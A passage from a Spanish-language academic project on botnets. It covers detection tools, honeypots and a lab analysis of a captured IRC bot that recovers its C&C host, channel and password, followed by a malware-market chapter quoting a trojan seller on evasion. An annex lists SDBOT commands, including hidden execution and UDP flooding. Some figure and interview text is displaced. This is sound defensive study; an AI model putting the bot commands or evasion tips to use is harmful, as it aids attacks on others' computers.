el caso de que estar interesados en desmontar una botnet se detallan en el siguiente

apartado las herramientas y el proceso que se sigue habitualmente, sin embargo, está

definido ningún procedimiento estándar para estas operaciones.



8.4 Herramientas de detección

Vamos a ver tres apartados:

1. Herramientas usadas para analizar un sistema determinado en búsqueda

de evidencias que delaten la existencia de un programa bot en un equipo

en particular,

2. Herramientas usadas para capturar los binarios de los programas bots,

basadas en sistemas “trampa” (honeypots)

3. Proceso y herramientas de análisis para extraer la información útil de

estos binarios

8.4.1 Herramientas de análisis del sistema

Bien porque a menudos la infección por parte de los programas bots escapa a la

detección por parte de los antivirus o Firewalls, o simplemente como comprobación

rutinaria de nuestro sistema, es necesario analizar si la máquina se encuentra

comprometida. Para ello podemos utilizar herramientas que generan informas sobre los

recursos (programas, servicios, puertos usados…) que se ejecutan en la máquina local,

Existen multitud de programas, que realizan este cometido, estudiaremos aquí dos de

ellos, uno para sistemas *NIX y otro para sistemas Windows:

a) Secheck: Bajo sistemas *NIX, es un script que permite analizar la seguridad del

sistemas objetivo, entre otras cosas comprueba:

• Archivos SUID

• Cuentas sin contraseña

• Puertos abiertos

• Usuarios en el sistema con acceso de administrador.



Figura 8.2: Secheck



Figura 8.3: Secheck analizando un sistema Windows

b) Hijackthis: Para sistemas Windows, genera un informe con los procesos y

servicios que están ejecutándose en el sistema, así como todas las entradas en el

registro que contengan valores que puedan ser potencialmente peligrosas:



Figura 8.4: HijackThis



Figura 8.5: Archivo de log de Hijackthis

Logfile of HijackThis v1.99.1 Scan saved at 13:20:54, on 30/11/2006 Platform: Windows XP SP2 (WinNT 5.01.2600) MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180) Running processes: C:\WINDOWS\System32\smss.exe C:\WINDOWS\system32\winlogon.exe C:\WINDOWS\system32\services.exe C:\WINDOWS\system32\lsass.exe C:\WINDOWS\system32\svchost.exe C:\WINDOWS\System32\svchost.exe C:\Archivos de programa\Sygate\SPF\smc.exe C:\WINDOWS\Explorer.EXE C:\WINDOWS\system32\spoolsv.exe C:\Acer\eManager\anbmServ.exe C:\WINDOWS\system32\svchost.exe C:\Archivos de programa\VMware\VMware Workstation\vmware-authd.exe C:\Archivos de programa\Archivos comunes\VMware\VMware Virtual Image Editing\vmount2.exe C:\WINDOWS\system32\vmnat.exe C:\WINDOWS\system32\vmnetdhcp.exe C:\Archivos de programa\Synaptics\SynTP\SynTPLpr.exe C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe C:\WINDOWS\SOUNDMAN.EXE C:\WINDOWS\AGRSMMSG.exe C:\WINDOWS\system32\Rundll32.exe C:\WINDOWS\system32\keyhook.exe C:\Archivos de programa\Arcade\PCMService.exe C:\Archivos de programa\Launch Manager\QtZgAcer.EXE C:\WINDOWS\system32\ctfmon.exe C:\WINDOWS\system32\sistray.exe C:\Archivos de programa\Mozilla Firefox\firefox.exe C:\Archivos de programa\VMware\VMware Workstation\vmware.exe C:\Archivos de programa\VMware\VMware Workstation\bin\vmware-vmx.exe C:\WINDOWS\regedit.exe C:\Documents and Settings\Adrian\Escritorio\hijackthis\HijackThis.exe R1 - HKCU\Software\Microsoft\Internet Explorer\Main,Search Bar = http://g.msn.es/0SEESES/SAOS01 R1 - HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://global.acer.com R0 - HKCU\Software\Microsoft\Internet Explorer\Toolbar,LinksFolderName = Vínculos O2 - BHO: AcroIEHlprObj Class - {06849E9F-C8D7-4D59-B87D-784B7D6BE0B3} - C:\Archivos de programa\Adobe\Acrobat 6.0\Reader\ActiveX\AcroIEHelper.dll O2 - BHO: SSVHelper Class - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Archivos de programa\Java\jre1.5.0_07\bin\ssv.dll O2 - BHO: ST - {9394EDE7-C8B5-483E-8773-474BF36AF6E4} - C:\Archivos de programa\MSN Apps\ST\01.03.0000.1005\en-xu\stmain.dll O2 - BHO: MSNToolBandBHO - {BDBD1DAD-C946-4A17-ADC1-64B5B4FF55D0} - C:\Archivos de programa\MSN Apps\MSN Toolbar\01.02.5000.1021\es\msntb.dll O3 - Toolbar: MSN - {BDAD1DAD-C946-4A17-ADC1-64B5B4FF55D0} - C:\Archivos de programa\MSN Apps\MSN Toolbar\01.02.5000.1021\es\msntb.dll O4 - HKLM\..\Run: [LaunchApp] Alaunch O4 - HKLM\..\Run: [SynTPLpr] C:\Archivos de programa\Synaptics\SynTP\SynTPLpr.exe O4 - HKLM\..\Run: [SynTPEnh] C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe O4 - HKLM\..\Run: [SoundMan] SOUNDMAN.EXE O4 - HKLM\..\Run: [AGRSMMSG] AGRSMMSG.exe O4 - HKLM\..\Run: [SiSPower] Rundll32.exe SiSPower.dll,ModeAgent O4 - HKLM\..\Run: [SiS Windows KeyHook] C:\WINDOWS\system32\keyhook.exe O4 - HKLM\..\Run: [PCMService] "C:\Archivos de programa\Arcade\PCMService.exe" O4 - HKLM\..\Run: [IMJPMIG8.1] "C:\WINDOWS\IME\imjp8_1\IMJPMIG.EXE" /Spoil /RemAdvDef /Migration32 O4 - HKLM\..\Run: [PHIME2002ASync] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /SYNC O4 - HKLM\..\Run: [PHIME2002A] C:\WINDOWS\system32\IME\TINTLGNT\TINTSETP.EXE /IMEName O4 - HKLM\..\Run: [LManager] C:\Archivos de programa\Launch Manager\QtZgAcer.EXE O4 - HKLM\..\Run: [KAVPersonal50] C:\Archivos de programa\Kaspersky Lab\Kaspersky Anti-Virus Personal\kav.exe /minimize O4 - HKLM\..\Run: [SmcService] C:\ARCHIV~1\Sygate\SPF\smc.exe -startgui O4 - HKLM\..\Run: [msword] msword.exe O4 - HKLM\..\RunServices: [msword] msword.exe O4 - HKLM\..\RunOnce: [msword] msword.exe O4 - HKCU\..\Run: [CTFMON.EXE] C:\WINDOWS\system32\ctfmon.exe O4 - HKCU\..\Run: [MsnMsgr] "C:\Archivos de programa\MSN Messenger\MsnMsgr.Exe" /background O4 - HKCU\..\Run: [msword] msword.exe O4 - HKCU\..\RunOnce: [msword] msword.exe O4 - Global Startup: Utility Tray.lnk = C:\WINDOWS\system32\sistray.exe O4 - Global Startup: Microsoft Office.lnk = C:\Archivos de programa\Microsoft Office\Office10\OSA.EXE O8 - Extra context menu item: E&xportar a Microsoft Excel - res://C:\ARCHIV~1\MICROS~2\Office10\EXCEL.EXE/3000 O9 - Extra button: (no name) - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Archivos de programa\Java\jre1.5.0_07\bin\ssv.dll O9 - Extra 'Tools' menuitem: Consola de Sun Java - {08B0E5C0-4FCB-11CF-AAA5-00401C608501} - C:\Archivos de programa\Java\jre1.5.0_07\bin\ssv.dll O9 - Extra button: Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Archivos de programa\Messenger\msmsgs.exe O9 - Extra 'Tools' menuitem: Windows Messenger - {FB5F1910-F110-11d2-BB9E-00C04F795683} - C:\Archivos de programa\Messenger\msmsgs.exe O16 - DPF: {6414512B-B978-451D-A0D8-FCFDF33E833C} (WUWebControl Class) - http://update.microsoft.com/windowsupdate/v6/V5Controls/en/x86/client/wuweb_site.cab?1156259788265 O18 - Protocol: ms-help - {314111C7-A502-11D2-BBCA-00C04F8EC294} - C:\Archivos de programa\Archivos comunes\Microsoft Shared\Help\hxds.dll O18 - Protocol: msnim - {828030A1-22C1-4009-854F-8E305202313F} - "C:\ARCHIV~1\MSNMES~1\msgrapp.dll" (file missing) O23 - Service: Notebook Manager Service (anbmService) - OSA Technologies Inc. - C:\Acer\eManager\anbmServ.exe O23 - Service: kavsvc - Kaspersky Lab - C:\Archivos de programa\Kaspersky Lab\Kaspersky Anti-Virus Personal\kavsvc.exe O23 - Service: SQL Server (SQLEXPRESS) (MSSQL$SQLEXPRESS) - Unknown owner - c:\Archivos de programa\Microsoft SQL Server\MSSQL.1\MSSQL\Binn\sqlservr.exe" -sSQLEXPRESS (file missing) O23 - Service: NMap - Unknown owner - C:\Archivos de programa\NMapWin\bin\nmapserv.exe O23 - Service: Sygate Personal Firewall Pro (SmcService) - Sygate Technologies, Inc. - C:\Archivos de programa\Sygate\SPF\smc.exe O23 - Service: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C:\Archivos de programa\VMware\VMware Workstation\vmware-authd.exe O23 - Service: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C:\WINDOWS\system32\vmnetdhcp.exe O23 - Service: VMware Virtual Mount Manager Extended (vmount2) - VMware, Inc. - C:\Archivos de programa\Archivos comunes\VMware\VMware Virtual Image Editing\vmount2.exe O23 - Service: VMware NAT Service - VMware, Inc. - C:\WINDOWS\system32\vmnat.exe



A partir de estos informes es posible determinar si un sistema se encuentra infectado o

no.

8.4.2 Herramientas basadas en Honeypots

“Tarro de miel”, hace referencia a equipos fácilmente atacables, los intrusos buscan

siempre sistemas vulnerables a los que acceder, un honeypot es una máquina trampa,

vulnerable a los ataques pero monitorizada para detectar la intrusión. Con este tipo de

sistemas podemos examinar las acciones que realiza el atacante sin que este se percate

de que está siendo observado, ya que la el programa está diseñado para simular el

comportamiento real de una máquina atacada.

Los honeypots se popularizan a partir del año 2000 y ha permitido la detección de

nuevos vectores de ataque así como la formalización de las nuevas técnicas de análisis

forense digital.

Existen tres tipos de honeypots:

• Alta interacción: Equipo completo al que el atacante puede acceder,

pudiendo ser una máquina física o virtual.

• Baja interacción: Simulación de un servicio o aplicación empleado sobre

todo para la detección de nuevos ataques.

• Media interacción: Simulan un servicio vulnerable y son capaces de simular

la ejecución del código del ataque como si este hubiera tenido éxito.

El tipo de honeynet más usado para la detección y el análisis de redes bots es el de

interacción media, ya que permiten simular uno o varios servicios vulnerables, como

por ejemplo MS-RPC, analizan el código recibido del ataque y permiten descargar el

binario obteniéndose el código malicioso.

Las dos implementaciones más usadas son:

a) Multipot: Es un honeypot muy básico para plataformas Windows, está

desarrollado por iDefense, una compañía filial de Verisign



Figura 8.6: Multipot

b) Nepenthes: Es el más usado tras su unión con mwcollect (software del proyecto

Honeynet destinado a capturar y analizar malware).

Simula diferentes servicios vulnerables, los cuales intenta adivinar que solicita el

gusano, exploit o ataque, y almacena una copia de los ejecutables que se

distribuyen, facilitando su posterior análisis.



Figura 8.7: Nepenthes

Una vez con el binario en nuestro poder, veremos que herramientas y procedimientos se

siguen para obtener información interesante sobre la red de bots, para ello se estudia en

el siguiente apartado las herramientas de análisis de ficheros capturados



8.4.3 Herramientas de análisis de ficheros capturados. Proceso de captura de

una botnet

Una vez obtenido e identificado el programa malicioso, sería interesante barajar la

opción de realizar un estudio sobre el binario con el fin de obtener más datos sobre la

red de bots, se trata de estudiar que acciones realizaba el programa, así como averiguar

la información de control:

• Servidor IRC que se emplea

• Clave de administración de los bots

• Canales empleados.

Esto permitiría detectar si hay más equipos infectados en las redes e intentar alertar a los

usuarios de dichos sistemas. En un ámbito más general también se podría avisar al

responsable del servidor IRC y bloquear el servidor DNS.

Los métodos para determinar el comportamiento de los programas capturados pueden

variar dependiendo varios factores. Algunos bots están protegidos contra depuración o

virtualización, otros simplemente cifran el ejecutable, haciendo más difícil el estudio

posterior del binario capturado. No existe un procedimiento definido, pero vamos a ver

como se realiza con un ejemplo:

• Instalación en máquinas virtuales: Programas como vmware permiten la

instalación de equipos y montar rápidamente redes virtuales. Además la opción

de “capturar” (snapshots) el estado de los equipos, nos da la opción de volver a

un estado anterior de nuestro sistema virtualizado.

• Monitorización con diversas herramientas de la ejecución de los programas para

ver cómo afectan a los sistemas (cambios en el registro, instalación de rootkits,

etc...). Programas como RegShot (http://regshot.yeah.net) permiten capturar

instantáneas del archivo del registro antes y después de la ejecución del

programa, permitiendo compararlas posteriormente en un archivo como el que

aparece en la figura:



Figura 8.8: Archivo generado por RegShot con los cambios realizados en el

sistema

• Captura del tráfico: Wireshark (antiguo Ethereal) es un excelente capturador de

tráfico de red. En la figura podemos ver parte del trafico generado en el

laboratorio:

Figura 8.9: Ejemplo de la captura del tráfico

• Simulación de servicios: Con el tráfico capturado, podemos observar que el

programa se intenta conectar a un servidor IRC, se configura un servicio falso

para ver que tipo de tráfico genera posteriormente.

• Análisis de trafico: Con el servicio simulado, el programa nos mostrará más

información interesante, en la figura podemos observar como el tráfico nos

indica que la maquina empleada para la conexión es dad.darksensui.info, en el

01:25:42.120500 IP 192.168.150.254.1029 > 192.168.150.2.domain: 24256+ A? dad.darksensui.info. (37) 0x0000: 0050 5601 0203 000c 29d5 7e15 0800 4500 .PV.....).~...E. 0x0010: 0041 282c 0000 8011 642e c0a8 96fe c0a8 .A(,....d....... 0x0020: 9602 0405 0035 002d 9d6e 5ec0 0100 0001 .....5.-.n^..... 0x0030: 0000 0000 0000 0364 6164 0a64 6172 6b73 .......dad.darks 0x0040: 656e 7375 6904 696e 666f 0000 0100 01 ensui.info..... 01:25:42.253265 IP 192.168.150.2.domain > 192.168.150.254.1029: 24256* 1/1/0 A 192.168.151.2 (65) 0x0000: 000c 29d5 7e15 0050 5601 0203 0800 4500 ..).~..PV.....E. 0x0010: 005d 018a 4000 4011 8ab4 c0a8 9602 c0a8 .]..@.@......... 0x0020: 96fe 0035 0405 0049 87c5 5ec0 8580 0001 ...5...I..^..... 0x0030: 0001 0001 0000 0364 6164 0a64 6172 6b73 .......dad.darks 0x0040: 656e 7375 6904 696e 666f 0000 0100 01c0 ensui.info...... 0x0050: 0c00 0100 0100 0151 8000 04c0 a897 0200 .......Q........ 0x0060: 0002 0001 0001 5180 0001 00 ......Q.... 01:25:42.334090 IP 192.168.150.254.1107 > 192.168.151.2.9136: S 4021988678:4021988678(0) win 64240 <mss 1460,nop,nop,sackOK>

---------------------------------- Values added:4 ---------------------------------- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\mi crosft windows updates: "mwupdate32.exe" HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunSer vices\microsft windows updates: "mwupdate32.exe" HKEY_USERS\S-1-5-21-1409082233-1078081533-725345543- 1004\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\ {75048700-EF1F-11D0-9888- 006097DEACF9}\Count\HRZR_EHACNGU:P:\znyjner\fcrpvzragf\rknzcyr.rkr: 01 00 00 00 06 00 00 00 D0 AF D0 A4 45 20 C6 01 HKEY_USERS\S-1-5-21-1409082233-1078081533-725345543- 1004\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\malware\spe ciments\example.exe: "example"



puerto 9136 y se conecta al canal #NEXT# con la clave wayne. Esto nos

permitirá monitorizar la botnet, sin embargo para acceder a ella sería necesario

obtener la clave de control:

Figura 8.10: Información sensible mostrada por el programa

• Desensamblado del binario: Mediante este proceso podemos obtener aún más

información sobre la red de bots. Programas como LordPE o Ollydbg permiten

volcar el código de un programa en ejecución en un archivo para su análisis

posterior:

0x0040: 6554 787c 3836 3032 3434 0d0a eTx|860244.. 01:54:25.624472 IP 192.168.150.254.1077 > 192.168.150.2.9136: P 71:181(110) ack 1864 win 64009 0x0000: 0050 5601 0203 000c 29d5 7e15 0800 4500 .PV.....).~...E. 0x0010: 0096 27be 4000 8006 2452 c0a8 96fe c0a8 ..'.@...$R...... 0x0020: 9602 0435 23b0 62f8 5e01 96e5 0a1a 5018 ...5#.b.^.....P. 0x0030: fa09 273e 0000 4d4f 4445 204e 6554 787c ..'>..MODE.NeTx| 0x0040: 3836 3032 3434 202b 782b 690d 0a4a 4f49 860244.+x+i..JOI 0x0050: 4e20 2323 4e65 5478 2323 2077 6179 6e65 N.##NeTx##.wayne 0x0060: 0d0a 5553 4552 484f 5354 204e 6554 787c ..USERHOST.NeTx| 0x0070: 3836 3032 3434 0d0a 4d4f 4445 204e 6554 860244..MODE.NeT 0x0080: 787c 3836 3032 3434 202b 782b 690d 0a4a x|860244.+x+i..J 0x0090: 4f49 4e20 2323 4e65 5478 2323 2077 6179 OIN.##NeTx##.way 0x00a0: 6e65 0d0a ne.. 01:54:25.624956 IP 192.168.150.2.9136 > 192.168.150.254.1077: P 1864:1939(75) ack 181 win 5840 0x0000: 000c 29d5 7e15 0050 5601 0203 0800 4500 ..).~..PV.....E. 0x0010: 0073 86bc 4000 4006 0577 c0a8 9602 c0a8 .s..@[email protected]......



Figura 8.11: LorPE

Después del volcado, el fichero es legible y podemos buscar cadenas de texto en

el, no hace falta ser un experto en ensamblador ni documentar y comprender

todo el programa. Usando desensambladotes como Ida y teniendo un poco de

suerte podemos dar con la clave de control de la red bot, con lo cual

conseguiríamos apoderarnos de ella y desactivarla. En la figura vemos cómo

conseguimos la contraseña de la red: wayne.



Figura 8.12: Desensamblador IDA



Capítulo 9

Mercado y futuro de las redes bots

9.1 Mercado de las redes bot

Los creadores de redes bots han cambiado sus objetivos y “modus openrandi”.

El beneficio económico es ahora su principal motivación, no exageramos si decimos

que los bots desempeñan un papel preponderante en el crimen cibernético actual. Desde

el envío de spam hasta el alojamiento de sitios Web fraudulentos, el crimen cibernético

moderno se ha servido en un momento u otro de una botnet. [1]

Los bots han evolucionado desde simples amenazas hasta un software malicioso

sumamente avanzado, Constituyendo un instrumento perfecto para las mafias

organizadas que existen en Internet. Su gran versatilidad permite llevar a cabo acciones

que van mucho más allá de ralentizar los sistemas o inundar Internet de mensajes de

correo electrónicos infectados. [2]

En el mapa que aparece a continuación se muestran las ubicaciones geográficas de los

servidores de comando y control.



Figura 9.1: Ubicaciones de los servidores C&C

Los bots y las botnets son las armas más polivalentes de los autores de los crímenes

cibernéticos. Actualmente, los bots se utilizan en prácticamente todos los tipos de

actuaciones criminales cibernéticas más frecuentes. Los propietarios de las botnets

alquilan sus redes ilícitas a otros criminales a cambio de cierta cantidad de dinero o usan

los bots ellos mismos para cometer distintos tipos de acciones ilegales.

Existe un floreciente mercado de compra de estas redes y no sólo de botnets, también de

las vulnerabilidades que las explotan para poder añadírselas a los bots posteriormente.

El pasado mes de Enero del 2007 un equipo de Trend Micro consiguió infiltrarse en una

subasta donde se comercializaban vulnerabilidades y exploits., como quien va al

supermercado, existen todo tipo de precios y gustos. Desde ahí se ha

logrado tomarle el pulso a los baremos económicos en los que se mueven las mafias

informáticas hoy en día.



Por ejemplo, un exploit para una vulnerabilidad no pública que permite ejecutar código

en Windows Vista ronda los 50.000 dólares (38.100 euros aproximadamente).

Para otros sistemas, dependiendo obviamente de su popularidad y de la gravedad de las

vulnerabilidades, los precios rondan los 20.000 a 30.000 dólares, entre 15.000 y 20.000

euros más o menos. [3][4]

En cuanto a las botnets, el código fuente que permita construir una se puede comprar

por precios que varían desde los 5.000 hasta los 20.000 dólares, dependiendo del tipo de

bot, las formas de expansión y las características que este posea.[3][4]

Si la idea de infectar y esperar beneficios no resulta atractiva, se pueden obtener

directamente números de tarjetas de crédito con su correspondiente PIN por sólo 500

dólares (380 euros). Otros datos personales se venden por entre 80 y 300 dólares (de 60

a 230 euros). Lo más "asequible" son las cuentas de eBay o PayPal, a 7 dólares cada una

(5 euros).

Si estos son los precios que se pagan, los beneficios deben ser potencialmente mayores

si se sabe gestionar el producto, no hay duda. El conocer cómo aprovechar una

vulnerabilidad o un troyano "a la carta" y por tanto no detectable por la mayoría de

antivirus (a no ser que posean unas excelentes heurísticas) supone un ingreso potencial

de dinero que bien merece una inversión.

Lejos están los románticos tiempos de gusanos masivos y virus molestos (pero inocuos

a la postre). Estamos hablando de inversión y beneficios, con el auge de la banca online

ha surgido una nueva posibilidad de negocio, un nuevo nicho de mercado que no ha

tardado en ser ocupado y que, tal es la cantidad de dinero que mueve, que se estima que

la industria del malware hace más dinero que la industria anti-malware [3]

Pero no sólo se venden programas bots para crear redes, un caso nos lo encontramos en

el Phising. Este método de fraude, estaba en un principio muy relacionado con las

botnets en cuanto a la información que podíamos obtener de los clientes, sin embargo,

como hemos comentado también se está observando un cambio en este campo,

desarrollándose nuevas herramientas exclusivas para estas tareas que también se pueden

conseguir en el mercado negro. Como se puede ver en la siguiente entrevista publicada

en la revista sueca ‘Computer Sweden’en la que el periodista contacta con un

programador de programas ‘Phising’ para conseguir un programa de este tipo: [5] [6]



Computer Sweden : ¿El troyano que algunos llaman Haxdoor es tuyo? ¿Tiene la misma funcionalidad? Corpse: Sí, Haxdoor (hay muchas versiones) es mío. [Corpse vende el troyano bajo el nombre de A311 Death, pero Haxdoor es el nombre que le han dado las casas antivirus] CS: ¿Has oído hablar sobre los ataques al banco Nordea? Eso lo hizo Haxdoor, ¿verdad? [En las últimas semanas se ha dado a conocer un ataque a este banco sueco a través de un troyano, que le ha hecho perder 1.5 millones de dólares] Corpse: Haxdoor y Nuclear Grabber (La variante Haxdoor sin puerta trasera) CS: Impresionante. ¿Es esa la versión que yo podría obtener por 3.000 dólares? Corpse: Sí, y además esto también es Haxdoor: [pega una dirección con información pública sobre un ataque al Banco Australiano] CS: ¿Y obtendré esto por 3.000 dólares? Corpse: Sí, es la misma versión. [Corpse añade que esto es sólo la punta del iceberg. Los bancos ocultan la mayoría de las intrusiones, lo que son buenas noticias para los que prefieren trabajar en la oscuridad] CS: Estupendo. ¿Algún otro ejemplo de ataques que se hayan llevado a cabo con Haxdoor? Corpse: El personal de seguridad de los bancos prefiere ocultar el 99% de los ataques. No quieren asustar a los usuarios :) [Tan pronto como se haya realizado el pago, el código se entregará y se preparará un script que se utilizará para recibir la información robada. Esto será realizado por Corpse, el soporte está incluido en el precio. Cualquier pregunta sobre otros clientes que hayan estado detrás del ataque al banco Nordea es eludida por Corpse] CS: Suena simple. ¿Se necesita mucha gente para sacar esto adelante? Corpse: Sólo hay un desarrollador. Yo. CS: Sí, pero me refiero a tus clientes. Toma como ejemplo el ataque al banco Nordea. ¿Fue una sola persona o había un grupo tras esto? Corpse: No lo sé, algunos trabajan en grupos otros por ellos mismos. [Cuando se muestran dudas sobre ser descubierto, Corpse se muestra confiado. Por 150 dólares al mes proporciona servidores en China, E.E.U.U. o Europa donde se enviaría la información robada. El fraude no podría ser rastreado de esa forma] Corpse: Puedo comprar un servidor o un "web hotel" por ti.



Figura 9.2: Entrevista publicada en Computer Sweden traducido por hispasec

Como se observa, existe todo un entramado tras las redes de bots, que mueve mucho

dinero. Mientras siga existiendo gente dispuesta a pagar por los servicios que ofrecen

los bots-herders, este lucrativo negocio seguirá en aumento debido a que habrá gente

que se podrá dedicar horas a desarrollar y mejorar software de este tipo, siendo muchas

más y mucho mejor pagadas que los ingenieros que se dedican a capturar, analizar y

publicar mejoras contra los productos de malware.

CS: Ok, ¿no sería eso un problema para mí? Quizás sería mejor usar un servidor anónimo en Rusia. Corpse: No en Rusia. E.E.U.U. o China o Europa. CS: Tu seguridad es importante para mí, porque yo podría ser pillado si te pillan a ti. ¿No te asusta la policía? Corpse: No te preocupes por la policía. Usa una VPN anónima, SOCKS también funcionará :) CS: ¿Has oído que Norman Antivirus dice que detecta si un sistema está infectado por Haxdoor? Corpse: Los productos antivirus no pueden encontrar una versión no descubierta. [Con el troyano se proporciona una interfaz gráfica que facilita su administración, para así poder definir el banco objetivo] Corpse: La interfaz es estándar y no requiere de ningún conocimiento. Si tienes algún problema te ayudaré. [Como cualquier vendedor Corpse, habla de las inmejorables características de "su producto"] Corpse: Sí, usará técnicas de rootkit y de autodefensa para no ser detectado. CS: ¿Cómo me sería entregado? Corpse: Como archivo rar o zip. CS: Por cierto, ¿puede infectar a Vista también? ¿Cómo se comporta con versiones más antiguas? Corpse: Hay soporte para todas las versiones desde Windows 98, incluido Vista.



9. 2 Futuro de las redes bot

Con todo los esfuerzos que realizan grupos independientes y organizaciones

gubernamentales, los intrusos siempre van un paso por delante, el uso de las nuevas

técnicas aplicadas a las redes bots, están haciendo cada vez más complicado su análisis,

detección y desactivación. Estas técnicas son entre otras:

• Empaquetado (UPX)

• Encriptación de las comunicaciones.

• Uso descentralizado de las botnets. Comunicación punto a punto (P2P), se han

dado los primeros casos de programas bots que usan este tipo de tecnología

como es el caso de nugache.

• Utilización de Rootkits para la ocultación de procesos al sistema operativo.

• Port Knocking

• Uso de mensajería instantáneas para el C&C

• Uso de protocolo http

• Compilación de programas muchos programas bots ligeramente diferentes unos

de otro para evitar las características heurísticas de las empresas antivirus.

• Uso de botnets personalizadas para objetivos concretos

• Uso de VPN´s para redes bots



Figura 9.3: Uso de Web para el comando y control

Figura 9.4: Ventana de comandos del C&C vía Web



Tan sólo en la imaginación de los creadores de estos programas se encuentra el límite,

cualquier nueva tecnología podría ser utilizada en la implantación de redes bots. Y esto

nada más es el comienzo, con la llegada de las redes VoIP, las comunicaciones por

dispositivos móviles y la domótica, las redes bots podrían suponer problema de

seguridad de magnitudes inimaginables.



Capítulo 10

Conclusiones

La seguridad es un campo que cobra cada vez más importancia en la informática siendo

uno de los aspectos más dinámicos de ella. Cada día se descubren nuevas

vulnerabilidades contra cualquier tipo de sistemas ante las que hay que estar preparados

para evitar un eventual ataque que pueda poner en peligro nuestros equipos y la

información que en ellos se encuentran. Es por tanto un agente que cambia

continuamente y al que hay que estar activamente al día.

La evolución de los ataques en Internet sigue una evolución exponencial, tanto o más

que el crecimiento de la red. Como se ha puesto de manifiesto en este proyecto, las

nuevas técnicas de marketing, la mayoría de las veces poco lícitas, acompañado de

posibles usos poco éticos que puedan hacer los intrusos de las redes, están provocando

un cambio en los objetivos de las intrusiones.

Hemos estudiado en este proyecto cómo se llevan a cabo estas intrusiones y hemos visto

que los bots son cada vez más avanzados y funcionales:

• Fácil evasión de las características heurísticas de los antivirus

• Rápida evolución a la implantación de las nuevas tecnologías y técnicas de

explotación de sistemas

• Cada vez más difícil detección

• Fácil escalabilidad

• Disponibilidad del código fuente

• Uso de nuevos protocolos

La globalización de las comunicaciones y la desigualdad entre la economía de los países

permite que la explotación de sistemas se haya convertido en un negocio muy rentable.

Así un intruso residiendo en algún país donde la legislación no contempla los delitos

informáticos o donde no existen organizaciones que vigilen estas acciones, puede



permitirse vivir tan sólo y bastante holgadamente de los ingresos que las compañías de

publicidad le proporcionan por instalar programas de publicidad en los equipos

comprometidos alrededor de todo el mundo. Pudiendo dedicarse por completo al

desarrollo de nuevos programas o la mejora de los ya existentes.

Es necesario un nuevo enfoque de las empresas de seguridad, ya que el crecimiento

exponencial de estas botnets en particular y del malware en general están provocando

un desbordamiento de sus recursos viendo impotentes como el crecimiento de los

nuevos tipos de programas potencialmente peligrosos es mucho mayor de los que ellos

pueden afrontar, recientemente, Natalya Kaspersky, consejera delegada de la compañía

especializada en sistemas antivirus declaraba que el software destinado a bloquear el

malware era efectivo, pero reconocían no poder parar todos los ataques, añadiendo que

se encontraban abrumados ante la cantidad de nuevo software que les llegan.[28]

Esta compañía, uno de los líderes en programas de protección reconoce que pese a tener

a 50 ingenieros trabajando activamente analizando nuevo malware y buscando formas

de bloquearlo obtienen una media de 200 nuevas muestras por día, y en aumento, con lo

que se encuentran saturados.

Por tanto es imposible dejar este trabajo sólo a las empresas de seguridad, se necesitan

acciones conjuntas de varios elementos:

• Los gobiernos tienen que empezar a tomar en serio la situación, creando leyes y

grupos gubernamentales de alerta ante incidentes, así como grupos

especializados dentro de los cuerpos de seguridad que tienen que coordinarse a

nivel mundial

• Los ISP y compañías de comunicaciones deben tomar cartas en el asunto

aunque no les resulte rentable. El desarrollo de programas especializados para

redes bots en este caso y para el control de malware en general debe

complementarse con políticas y procedimientos de aviso a los usuarios con

ordenadores infectados

• Las empresas deben formar y contratar personal especializado en seguridad

informática para el control de sus redes, estos deberán sensibilizar a los usuarios

de la red de la empresa



• Los usuarios finales deben concienciarse de la importancia de la seguridad en la

red, e instalar software que protejan sus equipos correctamente y tener unas

nociones de seguridad básicas

Finalmente, centrándonos en las redes bots, es primordial la creación y mejora del

software especializado de análisis de tráfico, más allá de los antivirus y los sistemas de

detección de intrusos, si bien complementándolos, con nuevas características de

detección y heurísticas.

Existe una nueva situación vírica mundial a la que hay que hacer frente, tanto en el

campo de software como de coordinación entre los grupos gubernamentales de alerta,

policía, las empresas y los grupos independientes de investigación y captura de malware.

Se debe tomar en serio la situación y hacer frente al problema ya que los intrusos van

siempre un paso por delante, y están, de momento, ganando la partida.



Anexo A: Comandos de SDBOT

�

��

command alias syntax description example general

commands

about a about Muestra información sobre el bot

<Faust> .about <sdbot> sdbot version 0.4b by [sd] ([email protected]). homepage: http://sdbot.n3.net/

action a action

<channel/user> <text>

Ordena al bot realizar una acción determinada en el canal o al usuario especificado

<[sd]> .action #idlechat explodes. * sdbot explodes.

addalias aa addalias <alias

name> <command>

Añade temporalmente un alias a la lista de alias del bot

<Faust> .addalias hello privmsg $chan hello <Faust> .hello <sdbot> hello <[sd]> .addalias smackme action $chan smacks $user $1- <[sd]> .smackme 2 times * sdbot smacks [sd] 2 times.

aliases al aliases Muestra la lista de alias actual

<Faust> .aliases <sdbot> -[alias list]- <sdbot> 0. opme = mode $chan +o $user <sdbot> 1. smack = action $chan smacks $1 <sdbot> 2. u1 = udp $1 10000 2048 50 <sdbot> 3. u2 = udp $1 10000 $2 50 <sdbot> 4. halfop = mode $chan +h $1



cycle cy cycle

<seconds> <channel>

El bot sale del canal y vuelva a entrar en los segundos especificados

<[sd]> .cycle 5 #idlechat * sdbot has left the channel. [5 seconds later...] * sdbot has joined the channel.

die d die

Hace que el bot “muera” en el ordenador remoto, eliminando todos los hilos creados

<[sd]> .die * sdbot has quit (connection reset by peer).

disconnect dc disconnect El bot se desconecte del servidor, pero se continua ejecutando

<[sd]> .disconnect * sdbot has quit (later.).

execute e

execute <visibility>

<file> [parameters]

Ejecuta un programa determinado, la visibilidad debe ser 0 o 1 (oculto/visible)

<Faust> .execute 1 notepad.exe [notepad runs visibly]

id i id El bot responde con su numero de identificación

